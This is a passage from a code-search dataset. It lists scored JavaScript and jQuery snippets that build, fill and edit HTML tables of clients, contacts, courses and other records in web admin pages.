{\n\t \trows = rows + '<tr>';\n\t \trows = rows + '<td>'+value.fecha+'</td>';\n rows = rows + '<td>'+value.cantidad+'</td>';\n rows = rows + '<td>'+value.nombrematerial+'</td>';\n rows = rows + '<td>'+value.nombreprod+'</td>';\n\t \trows = rows + '<td data-id=\"'+value.id+'\"data-id_materiales=\"'+value.id_materiales+'\"data-id_productos=\"'+value.id_productos+'\">';\n rows = rows + '<button data-toggle=\"modal\" data-target=\"#edit-item\" class=\"btn btn-success edit-venta-item fa fa-edit\"></button> ';\n rows = rows + '<button data-toggle=\"modal\" data-target=\"#delete-item\" class=\"btn btn-danger remove-venta-item fa fa-trash \"></button> ';\n rows = rows + '</td>';\n\t \trows = rows + '</tr>';\n\t});\n\t$(\"#venta\").html(rows);\n}", "title": "" }, { "docid": "1a788930cbc9a3fc033f21849b17a766", "score": "0.60710716", "text": "function populateContactList() {\n// Empty content string\nvar tableContent = '';\n// jQuery AJAX call for JSON\n$.getJSON( '/users/contactList', function( data ) {\ncontactListData = data;\n// For each item in our JSON, add a table row and cells to the content string\n$.each(data, function(){\ntableContent += '<tr>';\ntableContent += '<td><a href=\"#\" class=\"linkShowContact\" rel=\"' + this.name + '\">' + this.name + '</a></td>';\ntableContent += '<td><a href=\"#\" class=\"linkDeleteContact\" rel=\"' + this._id + '\">delete</a></td>';\ntableContent += '</tr>';\n});\n// Inject the whole content string into our existing HTML table\n$('#contactList table tbody').html(tableContent);\n});\n}", "title": "" }, { "docid": "c8f343e31a453573d996495f9b11da47", "score": "0.60708934", "text": "addContact(contact){\n const list = document.getElementById(\"contact-list\");\n const row = document.createElement(\"tr\");\n row.innerHTML = `<td>${contact.firstname}</td>\n <td>${contact.lastname}</td>\n <td>${contact.phone}</td>\n <td>${contact.address}</td>\n <td>${contact.occupation}</td>\n <td><a class = \"delete\"> x </a></td>\n `\n list.appendChild(row);\n\n //Hide form\n document.querySelector(\"#form\").classList = \"hide\";\n \n }", "title": "" }, { "docid": "d8a8400f030c43f366347b65285ed8f5", "score": "0.6060725", "text": "function fill_table(par) {\n let largo = $('#tblExchanges tbody tr td').html();\n largo == 'Ningún dato disponible en esta tabla' ? $('#tblExchanges tbody tr').remove() : '';\n par = JSON.parse(par);\n\n let tabla = $('#tblExchanges').DataTable();\n tabla.row\n .add({\n supports: par[0].support,\n editable: '<i class=\"fas fa-times-circle kill\"></i>',\n prod_sku: `<span class=\"hide-support\">${par[0].support}</span>${par[0].prodsku}`,\n prodname: par[0].prodnme,\n prodcant: `<span>${par[0].prodqty}</span>`,\n prodseri: par[0].prodser,\n codexcsc: par[0].excodsr,\n stnamesc: par[0].stnmesr,\n codexctg: par[0].excodtg,\n stnametg: par[0].stnmetg,\n comments: `<div>${par[0].comment}</div>`,\n })\n .draw();\n btn_apply_appears();\n clean_selectors();\n $('#listProducts .list-items').html('');\n\n $('.edit')\n .unbind('click')\n .on('click', function () {\n console.log('CLICK EDIT');\n let qty = parseInt($(this).parent().children('td.quantity').text()) * -1;\n let pid = $(this).parent().children('td.sku').children('span.hide-support').text().split('|')[4];\n // update_array_products(pid, qty);\n tabla.row($(this).parent('tr')).remove().draw();\n btn_apply_appears();\n });\n}", "title": "" }, { "docid": "e6fb1b7e21ec730f5fefd06baf045ba2", "score": "0.60595274", "text": "static editRow(id) {\n\t\tconst clients = Store.getClients();\n //function to find client with matching id\n\t\tvar client = clients.find(c => c.id === id);\n\t\tclient.name = document.querySelector('#name').value;\n client.lastname = document.querySelector('#lastname').value;\n client.date = document.querySelector('#date').value;\n client.number = document.querySelector('#number').value;\n client.email = document.querySelector('#email').value;\n client.address = document.querySelector('#address').value;\n\t\tlocalStorage.setItem('clients', JSON.stringify(clients));\n\t\treturn client;\n\t}", "title": "" }, { "docid": "09f5ed016967a52c0d31a23b7108848b", "score": "0.60517937", "text": "function loadTableData() {\r\n\r\n //Resetear las casillas de EDIT\r\n var input1 = $(\"#tareaIdEdit\");\r\n var input2 = $(\"#tareaEDIT\");\r\n var input3 = $(\"#responsableEDIT\");\r\n var input4 = $(\"#fecha2\");\r\n var input5 = $(\"#estadoEDIT\");\r\n var input6 = $(\"#observacionEDIT\");\r\n var editButton = $(\"#edit_btn\");\r\n\r\n input2.prop(\"disabled\", true);\r\n input3.prop(\"disabled\", true);\r\n input4.prop(\"disabled\", true);\r\n input5.prop(\"disabled\", true);\r\n input6.prop(\"disabled\", true);\r\n editButton.prop(\"disabled\", true);\r\n\r\n input1.val('');\r\n input2.val('');\r\n input3.val('');\r\n input4.val('');\r\n input5.val('');\r\n input6.val('');\r\n\r\n\r\n //Conexion por GET al controlador pidiendo los datos\r\n var TareasRequest = new XMLHttpRequest();\r\n var URL = \"temp.json\";\r\n TareasRequest.open('GET', URL, true);\r\n\r\n //Al cargar la pagina, se ve si la request y se crea segun esta el cuerpo de las tablas\r\n TareasRequest.onload = function () {\r\n if (TareasRequest.status >= 200 && TareasRequest.status < 400) {\r\n var data = JSON.parse(TareasRequest.responseText);\r\n //console.log(TareasRequest);\r\n createHTML(data.reverse());\r\n\r\n } else {\r\n console.log(\"Connectado a la DB pero sucedio un errorr\");\r\n }\r\n\r\n };\r\n\r\n //ErrorHandler de la conexion\r\n TareasRequest.onerror = function () {\r\n console.log(\"Connection error\");\r\n };\r\n\r\n //Envio Datos a la vista\r\n TareasRequest.send();\r\n}", "title": "" }, { "docid": "e5eb1f718ea4af7fdf4fd02732b02bd5", "score": "0.6044362", "text": "function prepareEditClientTable(){\n\n\tvar data = {\n\t\t\"request\" : \"getClients\"\n\t};\n\tconsole.log(data);\n\tvar getClient = $.ajax({url : 'script/server.php', method: 'GET', data : data, dataType:'json'});\n\t\n\tgetClient.success(function(data){\n\t\t$(\"#editClientTable tr:not(:first-child)\").remove();\n\t\tfor(count in data){\n\t\t\tvar clientRowID = \"clientRow\" + count;\n\t\t\t$(\"#editClientTable\").append(\"<tr id='\" + clientRowID + \"'></tr>\");\n\t\t\t$(\"#\" + clientRowID).append(\"<td class='clientID'>\" + data[count]['ClientId'] + \"</td>\");\n\t\t\t$(\"#\" + clientRowID).append(\"<td class='firstName'>\" + data[count]['PMFirstName'] + \"</td>\");\n\t\t\t$(\"#\" + clientRowID).append(\"<td class='lastName'>\" + data[count]['PMLastName'] + \"</td>\");\n\t\t\t\n\t\t\t$(\"#\" + clientRowID).append(\"<td class='company'>\" + data[count]['CompanyName'] + \"</td>\");\n\t\t\t$(\"#\" + clientRowID).append(\"<td class='address'>\" + data[count]['Address'] + \"</td>\");\n\t\t\t$(\"#\" + clientRowID).append(\"<td class='city'>\" + data[count]['City'] + \"</td>\");\n\t\t\t$(\"#\" + clientRowID).append(\"<td><input type='button' class='editClientRow' value='Edit Client'></input></td>\");\n\t\t}\n\t\tconsole.log(data);\n\t\t//window.location.href = \"index.html\";\n\t\t\n\t});\n\t\n\tgetClient.complete(function(){\n\t\t$(\"#editClientContainer\").fadeIn();\n\t\t\n\t\t$(\".editClientRow\").on(\"click\", function(){\n\t\t\t\n\t\t\t//entering edit mode\n\t\t\tif($(this).parent().siblings().children('input').length === 0){\n\t\t\t\t$(this).attr(\"value\", \"Finish\");\n\t\t\t\tvar currentFirstName = $(this).parent().siblings('.firstName').text();\n\t\t\t\tvar currentLastName = $(this).parent().siblings('.lastName').text();\n\t\t\t\tvar currentCompany = $(this).parent().siblings('.company').text();\n\t\t\t\tvar currentAddress = $(this).parent().siblings('.address').text();\n\t\t\t\tvar currentCity = $(this).parent().siblings('.city').text();\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.firstName').empty();\n\t\t\t\t$(this).parent().siblings('.firstName').append(\"<input type='text'>\");\n\t\t\t\t$(this).parent().siblings('.firstName').children(\"input\").val(currentFirstName);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.lastName').empty();\n\t\t\t\t$(this).parent().siblings('.lastName').append(\"<input type='text'>\");\n\t\t\t\t$(this).parent().siblings('.lastName').children(\"input\").val(currentLastName);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.company').empty();\n\t\t\t\t$(this).parent().siblings('.company').append(\"<input type='text'>\");\n\t\t\t\t$(this).parent().siblings('.company').children(\"input\").val(currentCompany);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.address').empty();\n\t\t\t\t$(this).parent().siblings('.address').append(\"<input type='text'>\");\n\t\t\t\t$(this).parent().siblings('.address').children(\"input\").val(currentAddress);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.city').empty();\n\t\t\t\t$(this).parent().siblings('.city').append(\"<input type='text'>\");\n\t\t\t\t$(this).parent().siblings('.city').children(\"input\").val(currentCity);\n\t\t\t}\n\t\t\t//leaving edit\n\t\t\telse{\n\t\t\t\t$(this).attr(\"value\", \"Edit Client\");\n\t\t\t\t$(this).parent().siblings('input').empty();\n\t\t\t\t\n\t\t\t\tvar currentFirstName = $(this).parent().siblings(\".firstName\").children(\"input\").val();\n\t\t\t\tvar currentLastName = $(this).parent().siblings(\".lastName\").children(\"input\").val();\n\t\t\t\tvar currentCompany = $(this).parent().siblings(\".company\").children(\"input\").val();\n\t\t\t\tvar currentAddress = $(this).parent().siblings(\".address\").children(\"input\").val();\n\t\t\t\tvar currentCity = $(this).parent().siblings(\".city\").children(\"input\").val();\n\t\t\t\t\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.firstName').empty();\n\t\t\t\t$(this).parent().siblings('.firstName').text(currentFirstName);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.lastName').empty();\n\t\t\t\t$(this).parent().siblings('.lastName').text(currentLastName);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.company').empty();\n\t\t\t\t$(this).parent().siblings('.company').text(currentCompany);\n\t\t\t\t\n\t\t\t\t$(this).parent().siblings('.address').empty();\n\t\t\t\t$(this).parent().siblings('.address').text(currentAddress);\n\t\t\t\n\t\t\t\t$(this).parent().siblings('.city').empty();\n\t\t\t\t$(this).parent().siblings('.city').text(currentCity);\n\t\t\t\n\t\t\t}\n\t\t});\n\t\t\n\t\t$(\"#btnSubmitClientUpdate\").on(\"click\", function(){\n\t\t\tsubmitClientUpdate();\n\t\t});\n\t\t\t\n\t});\n\t\n\tgetClient.error(function (jqXHR, textStatus, errorThrown){\n\t\t\talert('Error with the connection: ' + textStatus + \" \" + errorThrown);\n\t});\n\t\n}", "title": "" }, { "docid": "c68509ccc141201c8ec53748ec8b51fe", "score": "0.60317886", "text": "function editRow(row) {\n // Get modal from document body\n // Fill the modal body with correct data from selected row.\n // Save changes and update the table based on row index\n let rowToEdit = row.parentNode.parentNode.rowIndex;\n\n let personIndex = rowToEdit - 1;\n\n // console.log(\"Row to edit: \" + rowToEdit);\n $(\"#editRowModal\").modal();\n\n // When the modal is opened i need to populate the modal with values from personList at rowIndex -1\n let name = document.getElementById(\"modal-name-input\");\n let nights = document.getElementById(\"modal-nights-input\");\n\n let saveBtn = document.getElementById(\"save-edit\");\n\n // Set the name placeholder to the current name in person list\n name.value = personList[personIndex].name;\n nights.value = personList[personIndex].nights;\n\n\n // Handle enter button\n name.addEventListener(\"keyup\", function (event) {\n event.preventDefault();\n if (event.key === \"Enter\") {\n saveBtn.click();\n }\n });\n\n nights.addEventListener(\"keyup\", function (event) {\n event.preventDefault();\n if (event.key === \"Enter\") {\n saveBtn.click();\n }\n });\n\n\n // Save changes on button press\n saveBtn.onclick = function () {\n if (validateInput(\"Edit\")) {\n\n // Capitalize name\n name.value = name.value.replace(/\\w\\S*/g, function (txt) {\n return txt.charAt(0).toUpperCase() + txt.substr(1).toLowerCase();\n });\n\n personList[personIndex].name = name.value;\n personList[personIndex].nights = nights.value;\n\n updateTable();\n\n $(\"#editRowModal\").modal(\"hide\");\n }\n };\n}", "title": "" }, { "docid": "af172968b285282ffee7d41947f7e719", "score": "0.602384", "text": "function addClientsInTable(data) {\n clientsHolder = {};\n\n\n var dataTable = $('#dataTable2');\n dataTable\n .DataTable({\n \"bProcessing\": true\n , \"bStateSave\": true\n , \"ordering\": false\n , \"lengthChange\": true\n , \"searching\": true\n , \"info\": true\n , \"aaData\": data\n , \"aoColumns\": [\n {\n \"mData\": \"client.name\"\n }\n , {\n \"className\": \"dt-center\"\n , \"mData\": \"client.phoneNumber\"\n }\n , {\n \"className\": \"dt-center\"\n , \"mData\": \"client.reservedByName\"\n\n }\n , {\n \"className\": \"dt-center\"\n , \"mData\": \"client.status\"\n , \"mRender\": function (status, type, full) {\n var statusText, spanClass, dateText, timeText, dateClass;\n //сюда надо вставить Case по значению status\n if (status == 0) {\n statusText = 'Новый клиент';\n spanClass = ' label label-info';\n }\n else if (status == 1) {\n statusText = 'Блок лист';\n spanClass = ' label label-danger';\n }\n else if (status == 2) {\n statusText = 'Перезвонить';\n spanClass = ' label label-warning';\n dateText = formatDate(full.callBackDate, 'date');\n // timeText = formatDate(full.callBackDate, \"time\");\n dateClass = \"label label-warning\";\n }\n else if (status == 3) {\n statusText = 'Назначено';\n spanClass = ' label label-primary';\n dateText = formatDate(full.visitDate, 'date');\n // timeText = formatDate(full.visitDate, \"time\");\n dateClass = \"label label-primary\";\n }\n else if (status == 4) {\n statusText = 'Обработан';\n spanClass = ' label label-success';\n }\n else if (status == 5) {\n statusText = '<i class=\"fa fa-star\"></i> Клиент компании';\n spanClass = ' label label-default';\n }\n else if (status == 6) {\n statusText = '<i class=\"fa fa-check\"></i> Посетивший клиент';\n spanClass = ' label label-success';\n }\n else if (status == null) {\n console.log(\"status null\");\n } else {\n console.log(\"there is not such a status\");\n }\n if (dateText == null) {\n return '<span class=' + \"'\" + spanClass + \"'\" + '>' + statusText + '</span>';\n }\n else {\n return '<span class=' + \"'\" + spanClass + \"'\" + '>' + statusText + '</span>' + '<span class=' + \"'\" + dateClass + \"'\" + '>' + dateText + '</span>' ;\n // '<span class=' + \"'\" + dateClass + \"'\" + '>' + timeText + '</span>';\n }\n }\n }\n , {\n \"className\": \"dt-center\"\n , \"mData\": \"client.info\"\n }\n , {\n \"className\": \"dt-center\"\n , \"mData\": \"client.dealMade\"\n , \"mRender\": function (dealMade, type, full) {\n //если значение dealMade = Null пишем значение нет\n if (dealMade == null) {\n return \"нет\";\n }\n else {\n return formatDate(dealMade, \"date\");\n }\n }\n }\n , {\n \"className\": \"dt-center\"\n , \"mRender\": function (data, type, full) {\n var btnClass = 'btn btn-info-outline btn-details';\n var btnText = 'Детали';\n var iClass = 'fa fa-eye';\n var btnId = \"#call\" + full.id;\n\n clientsHolder[btnId] = full;\n return '<button class=' + \"'\" + btnClass + \"'\" + ' id=' + \"'\" + btnId + \"'\" + '><i class=' + \"'\" + iClass + \"'\" + '></i> ' + btnText + '</button>';\n }\n }]\n , \"language\": {\n \"processing\": \"Подождите...\"\n , \"search\": \"Поиск:\"\n , \"lengthMenu\": \"Показать _MENU_ записей\"\n , \"info\": \"Записи с _START_ до _END_ из _TOTAL_ записей\"\n , \"infoEmpty\": \"Записи с 0 до 0 из 0 записей\"\n , \"infoFiltered\": \"(отфильтровано из _MAX_ записей)\"\n , \"infoPostFix\": \"\"\n , \"loadingRecords\": \"Загрузка записей...\"\n , \"zeroRecords\": \"Записи отсутствуют.\"\n , \"emptyTable\": \"В таблице отсутствуют данные\"\n , \"paginate\": {\n \"first\": \"Первая\"\n , \"previous\": \"Предыдущая\"\n , \"next\": \"Следующая\"\n , \"last\": \"Последняя\"\n }\n , \"aria\": {\n \"sortAscending\": \": активировать для сортировки столбца по возрастанию\"\n , \"sortDescending\": \": активировать для сортировки столбца по убыванию\"\n }\n }\n });\n\n dataTable\n .unbind('click')\n .on('click', \".btn-details\", function () { //зміна щоб на іншій сторінці кнопки були активні\n loadOneClient(getOperatorId(), clientsHolder[this.id].id);\n });\n\n createVisitsTable();\n } // creates columns of clients in userindex", "title": "" }, { "docid": "12641840dd8b41bc8412a0eb31829cdc", "score": "0.6022501", "text": "function updateTableContent(tableBodyId){\n $(tableBodyId).empty();\n var queryString = \"/cars/ownerRest/\" +\n \"?name=\" + $(\"#name\").val() +\n \"&lastName=\" + $(\"#lastName\").val() +\n \"&nationality=\" + $(\"#nationality\").val() +\n \"&dni=\" + $(\"#dni\").val() + \"&offset=\" + $(\"#offset\").val()\n\n $.getJSON(queryString, function(data){\n var tableBody = $(tableBodyId);\n var totalRows = data.content.cantItems;\n for (var i = 0, len = data.content.owner.length; i < len; i++) {\n //alert(tableElement);\n var item=data.content.owner[i];\n tableBody.append($('<tr>')\n .attr('attr-id',item.id)\n .append($('<td>')\n .text(item.id)\n .attr('class','active'))\n .append($('<td>')\n .text(item.name)\n .attr('class','success'))\n .append($('<td>')\n .text(item.lastName)\n .attr('class','success'))\n .append($('<td>')\n .text(item.dni)\n .attr('class','success'))\n .append($('<td>')\n .text(item.nationality)\n .attr('class','success'))\n );\n };\n\n //After appending\n addRowHandlers(\"#ownersTable\", '#myModal',loadOwnerInModal);\n updateTableHeader(\"#ownersTable\",'#ownerTableHead');\n updatePaginateButtons(\"#ownersTable\",'#paginateButtons',totalRows);\n });\n}", "title": "" }, { "docid": "5aef8f2c2cd94d1d8c10443237f0a079", "score": "0.6022299", "text": "function tableToJson(table,complete_row){\n if (nullOrEmpty(complete_row)){\n complete_row = false;\n }\n metaData = blueprint_grid[table].element_type;\n var jsonTableArray = [];\n var jsonTable = {};\n var isToBeSend = true;\n var class_name = '';\n table = '#'+table+'_grid_table';\n $.each($(table).find('tr.eachRow'),function(index1,htmlContent){\n \n if ( (!nullOrEmpty($(this).find('td:first').find('.asterisk').attr('value')) || complete_row ) && ( $(this).find('td:first').find('.asterisk').attr('value') != 'UD' && $(this).find('td:first').find('.asterisk').attr('value') != 'ID' && $(this).find('td:first').find('.asterisk').attr('value') != 'BD' && $(this).find('td:first').find('.asterisk').attr('value') != 'B') ){\n //alert ($(this).find('td:first').find('.asterisk').attr('value'));\n var row = $(this);\n $.each(metaData,function(index,value){\n class_name = index;\n switch (value.type){\n case 'text':\n if ( (nullOrEmpty($(row).find('.'+class_name).val()) && typeof value.source != \"undefined\") ){\n jsonTable[class_name] = value.source;\n }else{\n if ($(row).find('td:first').find('.asterisk').attr('value') != 'D') {\n if (validateFielde($(row).find('.'+class_name).closest('td'),value,$(row).find('.'+class_name).val())){\n isToBeSend = false;\n }\n }\n jsonTable[class_name]=($(row).find('.'+class_name).val());\n }\n break;\n case 'textarea':\n if ( (nullOrEmpty($(row).find('.'+class_name).val()) && typeof value.source != \"undefined\") ){\n jsonTable[class_name] = value.source;\n }else{\n if ($(row).find('td:first').find('.asterisk').attr('value') != 'D'){\n if (validateFielde($(row).find('.'+class_name).closest('td'),value,$(row).find('.'+class_name).val())){\n isToBeSend = false;\n }\n }\n jsonTable[class_name]= ($(row).find('.'+class_name).val());\n }\n break;\n case 'date':\n if ( (nullOrEmpty($(row).find('.'+class_name).val()) && typeof value.source != \"undefined\") ){\n jsonTable[class_name] = value.source;\n }else{\n if ($(row).find('td:first').find('.asterisk').attr('value') != 'D'){\n if (validateFielde($(row).find('.'+class_name).closest('td'),value,$(row).find('.'+class_name).val())){\n isToBeSend = false;\n }\n }\n jsonTable[class_name]= _getDbDateFormat(($(row).find('.'+class_name).val()));\n }\n break;\n case 'email':\n /*if ($(row).find('td:first').find('.asterisk').attr('value') != 'D'){\n }\n if ( (nullOrEmpty($(this).find(\".cell_grid\").text()) && typeof value.source != \"undefined\") ){\n jsonTable[class_name] = value.source;\n }else{\n jsonTable[class_name]=($(this).find(\".cell_grid\").text());\n }*/\n break;\n case 'number':\n if (nullOrEmpty($(this).find(\".cell_grid\").text()) && typeof value.source != \"undefined\"){\n jsonTable[class_name] = value.source;\n }else{\n if ($(row).find('td:first').find('.asterisk').attr('value') != 'D'){\n if(validateFielde($(row).find('.'+class_name).closest('td'),value,$(row).find('.'+class_name).val())){\n isToBeSend = false;\n }\n }\n jsonTable[class_name]=$(row).find('.'+class_name).val();\n }\n break;\n case 'readonly':\n if ( (nullOrEmpty($(row).find('.'+class_name).text())) && typeof(value.source) != \"undefined\"){\n jsonTable[class_name] = value.source;\n }else{\n if ($(row).find('td:first').find('.asterisk').attr('value') != 'D'){\n if (validateFielde($(row).find('.'+class_name).closest('td'),value,$(row).find('.'+class_name).text())){\n isToBeSend = false;\n }\n }\n jsonTable[class_name]=$(row).find('.'+class_name).text();\n }\n break;\n case 'select':\n if ($(row).find('td:first').find('.asterisk').attr('value') != 'D'){\n if (validateFielde($(row).find('.'+class_name).closest('td'),value,$(row).find('.'+class_name+' option:selected').val())){\n isToBeSend = false;\n }\n }\n jsonTable[class_name] = $(row).find('.'+class_name+' option:selected').val();\n break;\n case 'fnd_lookup':\n if ($(row).find('td:first').find('.asterisk').attr('value') != 'D'){\n if ( validateFielde ( $(row).find('.'+class_name).closest('td'),value, $(row).find('.'+class_name).data('code') ) ){\n isToBeSend = false;\n }\n }\n jsonTable[class_name] = $(row).find('.'+class_name).data('code');\n break;\n case 'link':\n break;\n case 'hidden':\n if (class_name == 'status'){\n if ($(table).find('td:first').find('.asterisk').attr('value') === 'U' || $(table).find('td:first').find('.asterisk').attr('value') === 'I'){\n jsonTable['status'] = 'active';\n }else{\n jsonTable['status'] = 'inactive';\n }\n }else{\n if ( (nullOrEmpty($(row).find('.'+class_name).val())) && (value.required === \"true\")){\n jsonTable[class_name] = value.source;\n }else{\n jsonTable[class_name] = $(row).find('.'+class_name).val();\n }\n }\n break;\n default:\n break;\n }\n });\n jsonTableArray.push(jsonTable);\n jsonTable = {};\n }\n });\n if (isToBeSend === false){\n return false;\n }else{\n return (jsonTableArray);\n }\n \n}", "title": "" }, { "docid": "faf780ca1a12cbe5f7858f408d1a0cba", "score": "0.6016281", "text": "function editedToTable() {\n var editedRecordId = $('#edit-record-id').val();\n var editedArtist = $('#edit-artist').val();\n var editedAlbum = $('#edit-album').val();\n var editedRelease = $('#edit-release').val();\n var editedGenre = $('#edit-genre option:selected').text();\n\n $(tableDataForEdit[0]).text(editedRecordId);\n $(tableDataForEdit[1]).text(editedArtist);\n $(tableDataForEdit[2]).text(editedAlbum);\n $(tableDataForEdit[3]).text(editedRelease);\n $(tableDataForEdit[4]).text(editedGenre);\n\n dataToPieGraph();\n loadHighChart();\n tableSorting();\n }", "title": "" }, { "docid": "bae937cf3599c80370109b254ef8af40", "score": "0.6006553", "text": "function appendOpenTable(id, employee, position, income, assignment, amount){\n\n // select color for row\n styleChooser = !styleChooser;\n var a = \"\";\n if(styleChooser) a = \"1\"; else a = \"2\";\n\n // create a row on fill with data\n $(\"<tr>\").attr(\"id\", \"item-\"+id).addClass(\"row\"+a).appendTo(\"#trow\");\n $(\"<td>\").attr(\"id\", \"employee-\"+id).html(employee).appendTo(\"#item-\"+id);\n $(\"<td>\").attr(\"id\", \"position-\"+id).html(position).appendTo(\"#item-\"+id);\n $(\"<td>\").attr(\"id\", \"income-\"+id).html(income).appendTo(\"#item-\"+id);\n $(\"<td>\").attr(\"id\", \"assignment-\"+id).html(assignment).appendTo(\"#item-\"+id);\n $(\"<td>\").attr(\"id\", \"amount-\"+id).css(\"text-align\", \"right\").html(amount).appendTo(\"#item-\"+id);\n\n // create editor bottons on table\n $(\"<td>\").attr(\"id\", \"editor-\"+id).addClass(\"editor\").appendTo(\"#item-\"+id);\n $(\"<fbotton>\").attr(\"id\", \"botton-edit-\"+id).appendTo(\"#editor-\"+id);\n $(\"<a>\").attr(\"id\", \"deletebotton-\"+ id).attr(\"title\",\"Borrar\").addClass(\"deletebotton\").appendTo(\"#botton-edit-\"+id);\n $(\"<a>\").attr(\"id\", \"editbotton-\"+ id).attr(\"title\",\"Editar\").addClass(\"editbotton\").appendTo(\"#botton-edit-\"+id);\n\n // event for edit\n $(\"#editbotton-\"+id).unbind();\n $(\"#editbotton-\"+id).bind(\"click\", function(){\n showmsg(\"Espere un momento por favor...\");\n edit_id = id;\n\n var editid = id;\n var editemployee = $(\"#employee-\"+id).html();\n var editassignment = $(\"#assignment-\"+id).html();\n $(\"#id\").attr(\"value\", editid);\n $(\"#employee_name\").jCombo(urlJson+\"?action=getdata&jsondata=employee\", {\n selected_name: editemployee\n });\n $(\"#assignment_name\").jCombo(urlJson+\"?action=getdata&jsondata=assignment\", {\n selected_name: editassignment\n }); \n $(\"#botton-edit-\"+id).slideUp(speed, function(){ // hide edit botton\n $(\"feditor\").slideDown(speed); // show editor panel\n });\n hidemsg();\n });\n\n // event for delete\n $(\"#deletebotton-\"+id).click(function(){\n if(confirm(\"Esta seguro que desea borra el registro \" + id)){\n showmsg(\"Su data se esta borrando.<br /><br />Espere un momento por favor....\");\n deleteCall(id); // function to delete items\n }\n });\n}", "title": "" }, { "docid": "c3a426ef0935866fabd39b2619d377e0", "score": "0.6003554", "text": "function editRow(currentRow) {\n setSelected(currentRow, \"selectedRow\");\n const id = currentRow.dataset.id;\n const userData = usersTable.getUser(id);\n const tds = currentRow.children;\n for (let i = 1; i < tds.length - 1; i++) { //Skips the id cell and the action button cell\n\n tds[i].innerHTML = `<input value=\"${Object.values(userData)[i]}\"></input>`;\n }\n changeIcons(currentRow.lastElementChild.firstElementChild, \"fa-user-edit\", \"fa-undo\"); //change button from edit to cancle\n changeIcons(currentRow.lastElementChild.lastElementChild, \"fa-user-slash\", \"fa-user-check\");//change button from delete to confirm\n}", "title": "" }, { "docid": "4990161c73160eb161b4b5419e96da23", "score": "0.6002429", "text": "function manage_data_table(data) {\n var row = '';\n $.each(data, function (key, value) {\n row += '<tr>';\n row += '<td class=\"text-center upper\">' + value.courseTitle + '</td>';\n row += '<td class=\"text-center upper\">' + value.duration + '</td>';\n row += '<td class=\"text-center upper\">' + value.user_id + '</td>';\n row += '<td class=\"text-center upper\">';\n if (value.status == 1) {\n row += '<span class=\"label label-success\">active</span>';\n } else if (value.status == 0) {\n row += '<span class=\"label label-danger\">inactive</span>';\n }\n row += '</td>';\n // button part\n row += '<td class=\"text-center\" data-id=\"' + value.id + '\">';\n row += '<a href=\"viewCourse.php?tokenId=' + value.tokenId + '&amp;id=' + value.id + '\" class=\"btn btn-xs btn-primary view-members\"> <i class=\"fa fa-eye\"></i> </a>';\n row += '<button class=\"btn btn-xs btn-warning\"><i class=\"fa fa-edit\"></i></button>';\n row += '<button class=\"btn btn-xs btn-danger\"><i class=\"fa fa-trash\"></i></button>';\n row += '</td>';\n row += '</tr>';\n });\n\n $(\"#courseTableContent\").html(row);\n\n\n }", "title": "" }, { "docid": "3367f585f0ad0f3c9e19790aebde78f6", "score": "0.6000509", "text": "function show_table_behavior() {\n var teacher_name = document.getElementById('student_date').value;\n /** ajax request to get data from database */\n $.ajax({\n type: 'get',\n url: \"assets/php/teachers/teacher_behavior_table_show.php\",\n dataType: 'json',\n data: { teacher_name: teacher_name },\n // processData: false,\n contentType: false,\n\n success: function (data) {\n\n $.each(data, (key, value) => {\n console.log(value)\n dTable_behavior.row.add([\n ` <div class=\"input-group\"> <div class=\"inputgroup-icon\"> <i class=\"fa fa-calendar\" aria-hidden=\"true\"></i></div>\n <input name=\"behavior_id\" hidden type=\"text\" value=${value[0]} > <input name=\"teacher_behavior\" value=${value[2]} type=\"text\" data-toggle=\"datepicker\" placeholder=\"تاريخ السلوك\" autocomplete=\"off\" /></div>`,\n ` <div class=\"input-group\"><textarea name=\"behavior_type\" id=\"\" placeholder=\"نوع السلوك \">${value[3]}</textarea></div>`,\n ` <div class=\"input-group\"><textarea name=\"notes\" id=\"\" placeholder=\"ملاحظات\">${value[1]}</textarea></div>`,\n `<button class=\"btn btn-sm remove delet_behavior\">حذف</button> <button class=\"btn btn-sm edit edit_behavior\">تعديل</button> `\n\n ]).draw();\n\n })\n dTable_behavior.row.iDisplayLength = 1;\n $('.next_row_behavior').attr('disabled', true)\n $('.before_row_behavior').attr('disabled', true)\n },\n error: function (data) {\n console.log(data);\n\n },\n\n });\n\n }", "title": "" }, { "docid": "ae3b91b23fc23ce811762a7b08bc9f53", "score": "0.5999908", "text": "function _setup_row_for_site_contact_section(db) {\n\t\t\ttry {\n\t\t\t\tvar rows = db.execute('SELECT * FROM my_' + _type + '_site_contact WHERE ' + _type + '_id=? and status_code=1', _selected_job_id);\n\t\t\t\tvar i = 0;\n\t\t\t\tvar site_contact_count = rows.getRowCount();\n\t\t\t\tif (site_contact_count <= 1) {\n\t\t\t\t\tif (rows.getRowCount() > 0) {\n\t\t\t\t\t\twhile (rows.isValidRow()) {\n\t\t\t\t\t\t\tvar row = Ti.UI.createTableViewRow({\n\t\t\t\t\t\t\t\tfilter_class : 'site_contact',\n\t\t\t\t\t\t\t\tclassName : 'site_contact_' + i,\n\t\t\t\t\t\t\t\theight : 'auto',\n\t\t\t\t\t\t\t\thasChild : true,\n\t\t\t\t\t\t\t\tobject_id : rows.fieldByName('id')\n\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\tif (rows.fieldByName('is_primary_contact')) {\n\t\t\t\t\t\t\t\tvar edit_btn = Ti.UI.createButton({\n\t\t\t\t\t\t\t\t\tname : 'view_btn',\n\t\t\t\t\t\t\t\t\tbackgroundImage : self.get_file_path('image', 'BUTT_grn_off.png'),\n\t\t\t\t\t\t\t\t\tcolor : '#fff',\n\t\t\t\t\t\t\t\t\tfont : {\n\t\t\t\t\t\t\t\t\t\tfontSize : _header_view_font_size - 2,\n\t\t\t\t\t\t\t\t\t\tfontWeight : 'bold'\n\t\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t\t\ttitle : 'View',\n\t\t\t\t\t\t\t\t\ttextAlign : 'center',\n\t\t\t\t\t\t\t\t\tstyle : Titanium.UI.iPhone.SystemButtonStyle.BORDERED,\n\t\t\t\t\t\t\t\t\tleft : 10,\n\t\t\t\t\t\t\t\t\ttop : 5,\n\t\t\t\t\t\t\t\t\twidth : 